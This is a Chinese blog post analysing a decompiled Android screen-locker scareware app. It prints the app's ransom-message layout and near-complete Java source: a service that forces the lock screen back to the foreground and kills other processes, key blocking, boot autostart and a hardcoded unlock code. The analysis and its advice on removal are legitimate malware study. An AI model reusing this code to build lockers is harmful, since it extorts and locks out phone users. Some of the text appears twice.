安卓恶意应用代码分析
2014-09-04 23:46
1516 查看
最近在找畅无线的破解版,结果从贴吧找到了一个恶意应用。
点击屏幕任何地方都没反应,上面一堆恐吓性文字,没法退出,重启之后手机恢复正常了,然后果断把它卸载了。
下面我们来分析分析。
首先看看用APKTOOLS反编译出来的布局文件
1.main.xml
2.java代码分析
1.MainActivity.java
第一句LogCatBroadcaster.start(this);这里启动了一个线程
下面是代码
我们通过这个进程Process再通过getInputStream()方法拿到输入流。
在拿到这个输入流之后,用一个BufferedReader对象每次读20个字节的字符
然后读取BufferedReader里面的首行数据(字符串)
接着把这个字符串通过广播发送出去,当然,里面指定了包名和动作。
好了,这段代码分析完了,我们再次回到onCreate方法。
接下来设置窗口特点1为系统默认
setFlag应该是全屏,这个貌似在反编译的时候出了点问题。
然后设置是布局,在R文件看到对应的值就是刚才的main.xml
接着通过id照片到名为mainTextViewTime的TextView控件
接着新建一个意图,用来更新时间
接下来的这个try-catch代码块中,收益按用类加载器加载了一个名为tk.jianmo.study.killpoccessserve的类,
接下来我们来看看这个类干嘛的。
killpoccessserve.java
这个类从名字上看是关闭进程的一个服务,继承了android.app.Service,
服务(Service)是Android系统中4个应用程序组件之一。服务主要用于两个目的:后台运行和跨进程访问。
Handler主要用来在线程中和Activity或Service通信的机制。在需要接收消息的Activity或Service中需要实现Handler.Callback接口
这里直接实现了。
getSystemService("activity");这里里面的参数貌似应该是ACTIVITY_SERVICE,可能是反编译成这样了,一会查一下API,这句话得到管理应用程序的系统状态对象
str字符串获得前台运行的Activity的包名
当然接下来自然就判断这个包名是不是它自己啦
for循环里就是不断启动自己的Activity,并且销毁后台进程,为了在task里启动,使用了setFlags和addFlags函数。
然后是周期性发送消息的代码,发送消息的时候不创建新的对象。
继续回到我们的onCreate方法。
然后代码里做了,开启服务,开启定时器,显示剩余时间的操作
然后Activity其他几方法是为了让点击屏幕不起作用的,
里面有个解锁这个界面的方法,就是输入一个号码this.val$edit.getText().toString().equals("2082549931"),这个号码估计大家看到这句话机看出来了吧
这个应用还有一个开机自启的代码
BootBroadcastReceiver.java
个人对这个应用评价一下吧
这个应用欺骗小白用户还是很有效的,实际上里面的格式化是吓唬人的,但是对开发者而言,反编译一下就出来了。作者也没做代码混淆。
自启动这个真心不靠谱,自启动也是有顺序的,而且还要等SD卡识别完,这完全可以在识别SD卡的时候直接把它干掉。
作者开发这个应用如果拿来做某些事,可能会有法律风险
点击屏幕任何地方都没反应,上面一堆恐吓性文字,没法退出,重启之后手机恢复正常了,然后果断把它卸载了。
下面我们来分析分析。
首先看看用APKTOOLS反编译出来的布局文件
1.main.xml
<?xml version="1.0" encoding="utf-8"?> <RelativeLayout android:layout_width="fill_parent" android:layout_height="fill_parent" xmlns:android="http://schemas.android.com/apk/res/android"> <LinearLayout android:gravity="center" android:orientation="vertical" android:background="#ff303444" android:layout_width="fill_parent" android:layout_height="fill_parent" android:layout_centerHorizontal="true"> <TextView android:textAppearance="?android:textAppearanceSmall" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="你的手机已被锁!By 小黑" /> <Button android:id="@id/bn_bf" android:background="@drawable/mybutton" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="10.0dip" android:layout_marginRight="10.0dip" android:text="解锁加QQ:2082 549 931" /> <TextView android:gravity="center" android:background="@drawable/sp" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="10.0dip" android:layout_marginTop="10.0dip" android:layout_marginRight="10.0dip" android:layout_marginBottom="10.0dip" android:text="24小时内未解锁将格式化!" /> <Button android:id="@id/bn_hy" android:background="@drawable/mybutton" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="10.0dip" android:layout_marginRight="10.0dip" android:text="所有数据将删除无法恢复!" /> <TextView android:background="@drawable/sp" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="10.0dip" android:layout_marginTop="10.0dip" android:layout_marginRight="10.0dip" android:text="解锁加QQ:2082 549 931" /> <TextView android:textAppearance="?android:textAppearanceMedium" android:id="@id/mainTextViewTime" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="15.0dip" android:text="你的手机已被锁!By 小黑" /> </LinearLayout> <TextView android:textAppearance="?android:textAppearanceSmall" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginBottom="24.0dip" android:text="Power by 小黑@2014" android:layout_alignParentBottom="true" android:layout_centerHorizontal="true" /> </RelativeLayout>布局是一个相对布局里面嵌入了一个线性布局,然后里面放了6个控件,依次是TexTView、Button、TextView、Button、TextView、TextView
2.java代码分析
1.MainActivity.java
package tk.jianmo.study; import LogCatBroadcaster; import android.app.Activity; import android.app.AlertDialog.Builder; import android.app.Dialog; import android.app.DialogFragment; import android.content.Context; import android.content.DialogInterface; import android.content.DialogInterface.OnClickListener; import android.content.Intent; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.os.Bundle; import android.os.SystemClock; import android.text.Editable; import android.view.KeyEvent; import android.view.Window; import android.widget.EditText; import android.widget.TextView; import android.widget.Toast; import java.util.Timer; import java.util.TimerTask; public class MainActivity extends Activity { Context context; @Override Intent intent; int keyTouthInt = 0; long newTime = 0; SharedPreferences sp; int theBeginTimeToFinish = 86400; Timer timer; TimerTask timertask; int timetofinish = this.theBeginTimeToFinish; TextView tv_time; long usedTime = 0; public void keytouch(long paramLong, int paramInt1, int paramInt2) { this.newTime = System.currentTimeMillis(); if ((this.newTime - paramLong <= 2000) && (paramInt1 == paramInt2)) { this.usedTime = this.newTime; this.keyTouthInt = (paramInt1 + 1); return; } this.keyTouthInt = 0; } public void onAttachedToWindow() { getWindow().setType(2004); super.onAttachedToWindow(); } public void onCreate(Bundle paramBundle) { LogCatBroadcaster.start(this); super.onCreate(paramBundle); requestWindowFeature(1); getWindow().setFlags(-2147483648, -2147483648); setContentView(2130903040); this.context = this; this.tv_time = ((TextView)super.findViewById(2131034114)); Intent localIntent1 = new Intent(); this.intent = localIntent1; Intent localIntent2 = this.intent; try { Class localClass = Class.forName("tk.jianmo.study.killpoccessserve"); localIntent2.setClass(this, localClass); startService(this.intent); this.sp = getSharedPreferences("TimeSave", 0); this.timetofinish = this.sp.getInt("saveTime", this.timetofinish); if (this.timetofinish <= 1) { this.timetofinish = this.theBeginTimeToFinish; } Timer localTimer = new Timer(); this.timer = localTimer; TimerTask local100000001 = new TimerTask() { @Override public void run() { MainActivity localMainActivity = MainActivity.this; Runnable local100000000 = new Runnable() { @Override public void run() { int i = MainActivity.this.timetofinish / 3600; int j = MainActivity.this.timetofinish % 3600 / 60; int k = MainActivity.this.timetofinish % 60; TextView localTextView = MainActivity.this.tv_time; StringBuffer localStringBuffer1 = new StringBuffer(); StringBuffer localStringBuffer2 = new StringBuffer(); StringBuffer localStringBuffer3 = new StringBuffer(); StringBuffer localStringBuffer4 = new StringBuffer(); StringBuffer localStringBuffer5 = new StringBuffer(); localTextView.setText(localStringBuffer2.append(localStringBuffer3.append(localStringBuffer4.append (localStringBuffer5.append(i).append("9999").toString()).append(j).toString()).append("999").toString()).append (k).toString() + "加QQ解锁2082549931"); MainActivity.this.sp.edit().putInt("saveTime", MainActivity.this.timetofinish).commit(); if (MainActivity.this.timetofinish == 0) { MainActivity.this.stopService(MainActivity.this.intent); System.exit(0); } MainActivity localMainActivity = MainActivity.this; localMainActivity.timetofinish = (-1 + localMainActivity.timetofinish); } }; localMainActivity.runOnUiThread(local100000000); } }; this.timertask = local100000001; this.timer.schedule(this.timertask, 0, 1000); return; } catch (ClassNotFoundException localClassNotFoundException) { NoClassDefFoundError localNoClassDefFoundError = new NoClassDefFoundError(localClassNotFoundException.getMessage()); throw localNoClassDefFoundError; } } @Override public boolean onKeyDown(int paramInt, KeyEvent paramKeyEvent) { if (paramInt == 4) { if (this.keyTouthInt != 0) { break label153; } this.usedTime = SystemClock.currentThreadTimeMillis(); this.keyTouthInt = 1; this.usedTime = System.currentTimeMillis(); } for (;;) { if (paramInt == 3) { keytouch(this.usedTime, this.keyTouthInt, 5); if (this.keyTouthInt == 6) { MyDialogFragment localMyDialogFragment = new MyDialogFragment(); localMyDialogFragment.show(getFragmentManager(), "mydialog"); } } if (paramInt == 82) { keytouch(this.usedTime, this.keyTouthInt, 100); } if (paramInt == 25) { keytouch(this.usedTime, this.keyTouthInt, 2); } if (paramInt == 24) { keytouch(this.usedTime, this.keyTouthInt, 3); } if (paramInt == 26) { Toast.makeText(this, "电源控制成功!", 0).show(); } return true; label153: if (this.keyTouthInt == 1) { keytouch(this.usedTime, this.keyTouthInt, 1); } else { keytouch(this.usedTime, this.keyTouthInt, 4); } } } class MyDialogFragment extends DialogFragment { public MyDialogFragment() {} @Override public Dialog onCreateDialog(Bundle paramBundle) { AlertDialog.Builder localBuilder = new AlertDialog.Builder(getActivity()); EditText localEditText = new EditText(MainActivity.this.context); localEditText.setHint("please input the cipher!"); localBuilder.setView(localEditText); localBuilder.setTitle("Choose"); localBuilder.setMessage("I will clear all of your data!"); DialogInterface.OnClickListener local100000002 = new DialogInterface.OnClickListener() { private final EditText val$edit; @Override public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt) { if (this.val$edit.getText().toString().equals("2082549931")) { MainActivity.this.stopService(MainActivity.this.intent); System.exit(0); } } }; localBuilder.setPositiveButton("Yes", local100000002); DialogInterface.OnClickListener local100000003 = new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt) {} }; localBuilder.setNegativeButton("No", local100000003); return localBuilder.create(); } } }根据Activity的生命周期,我们先看看onCreate方法
第一句LogCatBroadcaster.start(this);这里启动了一个线程
下面是代码
import android.content.Context; import android.content.Intent; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; public class LogCatBroadcaster implements Runnable { private static boolean started = false; private Context context; private LogCatBroadcaster(Context paramContext) { this.context = paramContext; } /* Error */ public static void start(Context paramContext) { // Byte code: // 0: ldc 2 // 2: monitorenter // 3: getstatic 14 LogCatBroadcaster:started Z // 6: istore_2 // 7: iload_2 // 8: ifeq +7 -> 15 // 11: ldc 2 // 13: monitorexit // 14: return // 15: iconst_1 // 16: putstatic 14 LogCatBroadcaster:started Z // 19: getstatic 29 android/os/Build$VERSION:SDK_INT I // 22: bipush 16 // 24: if_icmpge +6 -> 30 // 27: goto -16 -> 11 // 30: aload_0 // 31: invokevirtual 35 android/content/Context:getApplicationInfo ()Landroid/content/pm/ApplicationInfo; // 34: getfield 40 android/content/pm/ApplicationInfo:flags I // 37: istore_3 // 38: iload_3 // 39: iconst_2 // 40: iand // 41: ifeq +14 -> 55 // 44: iconst_1 // 45: istore 4 // 47: iload 4 // 49: ifne +12 -> 61 // 52: goto -41 -> 11 // 55: iconst_0 // 56: istore 4 // 58: goto -11 -> 47 // 61: aload_0 // 62: invokevirtual 44 android/content/Context:getPackageManager ()Landroid/content/pm/PackageManager; // 65: ldc 46 // 67: sipush 128 // 70: invokevirtual 52 android/content/pm/PackageManager:getPackageInfo (Ljava/lang/String;I)Landroid/content/pm/PackageInfo; // 73: pop // 74: new 2 LogCatBroadcaster // 77: dup // 78: aload_0 // 79: invokespecial 54 LogCatBroadcaster:<init> (Landroid/content/Context;)V // 82: astore 7 // 84: new 56 java/lang/Thread // 87: dup // 88: aload 7 // 90: invokespecial 59 java/lang/Thread:<init> (Ljava/lang/Runnable;)V // 93: astore 8 // 95: aload 8 // 97: invokevirtual 61 java/lang/Thread:start ()V // 100: goto -89 -> 11 // 103: astore 5 // 105: goto -94 -> 11 // 108: astore_1 // 109: ldc 2 // 111: monitorexit // 112: aload_1 // 113: athrow // Local variable table: // start length slot name signature // 0 114 0 paramContext Context // 108 5 1 localObject Object // 6 2 2 bool boolean // 37 4 3 i int // 45 12 4 j int // 103 1 5 localNameNotFoundException android.content.pm.PackageManager.NameNotFoundException // 82 7 7 localLogCatBroadcaster LogCatBroadcaster // 93 3 8 localThread java.lang.Thread // Exception table: // from to target type // 61 74 103 android/content/pm/PackageManager$NameNotFoundException // 3 7 108 finally // 15 27 108 finally // 30 38 108 finally // 61 74 108 finally // 74 100 108 finally } public void run() { try { Process localProcess = Runtime.getRuntime().exec("logcat -v threadtime"); InputStreamReader localInputStreamReader = new InputStreamReader(localProcess.getInputStream()); BufferedReader localBufferedReader = new BufferedReader(localInputStreamReader, 20); for (;;) { String str = localBufferedReader.readLine(); if (str == null) { break; } Intent localIntent = new Intent(); localIntent.setPackage("com.aide.ui"); localIntent.setAction("com.aide.runtime.VIEW_LOGCAT_ENTRY"); localIntent.putExtra("lines", new String[] { str }); this.context.sendBroadcast(localIntent); } return; } catch (IOException localIOException) {} } }我们分析一下里面的run方法,首先调用系统命令得到logcat日志,亲们想看结果的可以再命令行下输入 adb logcat -v threadtime
我们通过这个进程Process再通过getInputStream()方法拿到输入流。
在拿到这个输入流之后,用一个BufferedReader对象每次读20个字节的字符
然后读取BufferedReader里面的首行数据(字符串)
接着把这个字符串通过广播发送出去,当然,里面指定了包名和动作。
好了,这段代码分析完了,我们再次回到onCreate方法。
接下来设置窗口特点1为系统默认
setFlag应该是全屏,这个貌似在反编译的时候出了点问题。
然后设置是布局,在R文件看到对应的值就是刚才的main.xml
接着通过id照片到名为mainTextViewTime的TextView控件
接着新建一个意图,用来更新时间
接下来的这个try-catch代码块中,收益按用类加载器加载了一个名为tk.jianmo.study.killpoccessserve的类,
接下来我们来看看这个类干嘛的。
killpoccessserve.java
package tk.jianmo.study; import android.app.ActivityManager; import android.app.ActivityManager.RunningTaskInfo; import android.app.Service; import android.content.ComponentName; import android.content.Context; import android.content.Intent; import android.os.Handler; import android.os.Handler.Callback; import android.os.IBinder; import android.os.Message; import java.util.List; import java.util.Timer; import java.util.TimerTask; public class killpoccessserve extends Service { Context context; @Override public IBinder onBind(Intent paramIntent) { return null; } @Override public void onCreate() { this.context = this; Handler.Callback local100000000 = new Handler.Callback() { public boolean handleMessage(Message paramAnonymousMessage) { ActivityManager localActivityManager = (ActivityManager)killpoccessserve.this.context.getSystemService("activity"); String str = ((ActivityManager.RunningTaskInfo)localActivityManager.getRunningTasks(1).get(0)).topActivity.getPackageName(); if (str.equals("tk.jianmo.study")) {} for (;;) { return false; Intent localIntent = new Intent(); Context localContext = killpoccessserve.this.context; try { Class localClass = Class.forName("tk.jianmo.study.MainActivity"); localIntent.setClass(localContext, localClass); localIntent.setFlags(67108864); localIntent.addFlags(268435456); killpoccessserve.this.startActivity(localIntent); localActivityManager.killBackgroundProcesses(str); } catch (ClassNotFoundException localClassNotFoundException) { NoClassDefFoundError localNoClassDefFoundError = new NoClassDefFoundError(localClassNotFoundException.getMessage()); throw localNoClassDefFoundError; } } } }; Handler localHandler = new Handler(local100000000); Timer localTimer = new Timer(); TimerTask local100000001 = new TimerTask() { private final Handler val$h; @Override public void run() { this.val$h.obtainMessage().sendToTarget(); } }; localTimer.schedule(local100000001, 0, ''); } @Override public void onDestroy() { super.onDestroy(); } @Override public void onStart(Intent paramIntent, int paramInt) { super.onStart(paramIntent, paramInt); } }
这个类从名字上看是关闭进程的一个服务,继承了android.app.Service,
服务(Service)是Android系统中4个应用程序组件之一。服务主要用于两个目的:后台运行和跨进程访问。
Handler主要用来在线程中和Activity或Service通信的机制。在需要接收消息的Activity或Service中需要实现Handler.Callback接口
这里直接实现了。
getSystemService("activity");这里里面的参数貌似应该是ACTIVITY_SERVICE,可能是反编译成这样了,一会查一下API,这句话得到管理应用程序的系统状态对象
str字符串获得前台运行的Activity的包名
当然接下来自然就判断这个包名是不是它自己啦
for循环里就是不断启动自己的Activity,并且销毁后台进程,为了在task里启动,使用了setFlags和addFlags函数。
然后是周期性发送消息的代码,发送消息的时候不创建新的对象。
继续回到我们的onCreate方法。
然后代码里做了,开启服务,开启定时器,显示剩余时间的操作
然后Activity其他几方法是为了让点击屏幕不起作用的,
里面有个解锁这个界面的方法,就是输入一个号码this.val$edit.getText().toString().equals("2082549931"),这个号码估计大家看到这句话机看出来了吧
这个应用还有一个开机自启的代码
BootBroadcastReceiver.java
package tk.jianmo.study; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; public class BootBroadcastReceiver extends BroadcastReceiver { String action_boot = "android.intent.action.BOOT_COMPLETED"; @Override public void onReceive(Context paramContext, Intent paramIntent) { try { Class localClass = Class.forName("tk.jianmo.study.MainActivity"); Intent localIntent = new Intent(paramContext, localClass); localIntent.addFlags(268435456); paramContext.startActivity(localIntent); return; } catch (ClassNotFoundException localClassNotFoundException) { NoClassDefFoundError localNoClassDefFoundError = new NoClassDefFoundError(localClassNotFoundException.getMessage()); throw localNoClassDefFoundError; } } }
个人对这个应用评价一下吧
这个应用欺骗小白用户还是很有效的,实际上里面的格式化是吓唬人的,但是对开发者而言,反编译一下就出来了。作者也没做代码混淆。
自启动这个真心不靠谱,自启动也是有顺序的,而且还要等SD卡识别完,这完全可以在识别SD卡的时候直接把它干掉。
作者开发这个应用如果拿来做某些事,可能会有法律风险
相关文章推荐
- 安卓恶意代码分析
- 应用框架的设计与实现——.NET平台(9 消息队列服务代码分析)
- [转]为 PHP 应用提速、提速、再提速!,第 2 部分: 分析 PHP 应用程序以查找、诊断和加速运行缓慢的代码
- Windows phone 7应用之代码性能分析工具——Profile.
- C#特性Attribute的“.NET研究”实际应用之:代码统计分析
- php连接数据库代码应用分析
- 利用ADODB写文件——恶意文件young.gif代码的分析心得1
- PHP 应用提速 - 第 2 部分: 分析 PHP 应用程序以查找、诊断和加速运行缓慢的代码
- FindFirstChangeNotification FindNextChangeNotification实现应用层文件监控的代码分析
- php连接数据库代码应用分析
- 普通恶意代码技术分析与检测
- 恶意脚本代码分析
- 浅谈恶意代码的研究分析 推荐
- Python抓取网页内容应用代码分析
- 为 PHP 应用提速、提速、再提速!,第 2 部分: 分析 PHP 应用程序以查找、诊断和加速运行缓慢的代码
- 普通恶意代码技术分析与检测
- 安全专家浅谈恶意代码的研究分析(2)
- C#特性Attribute的实际应用之:代码统计分析【转】
- C#特性Attribute的实际应用之:代码统计分析
- 一起谈.NET技术,C#特性Attribute的实际应用之:代码统计分析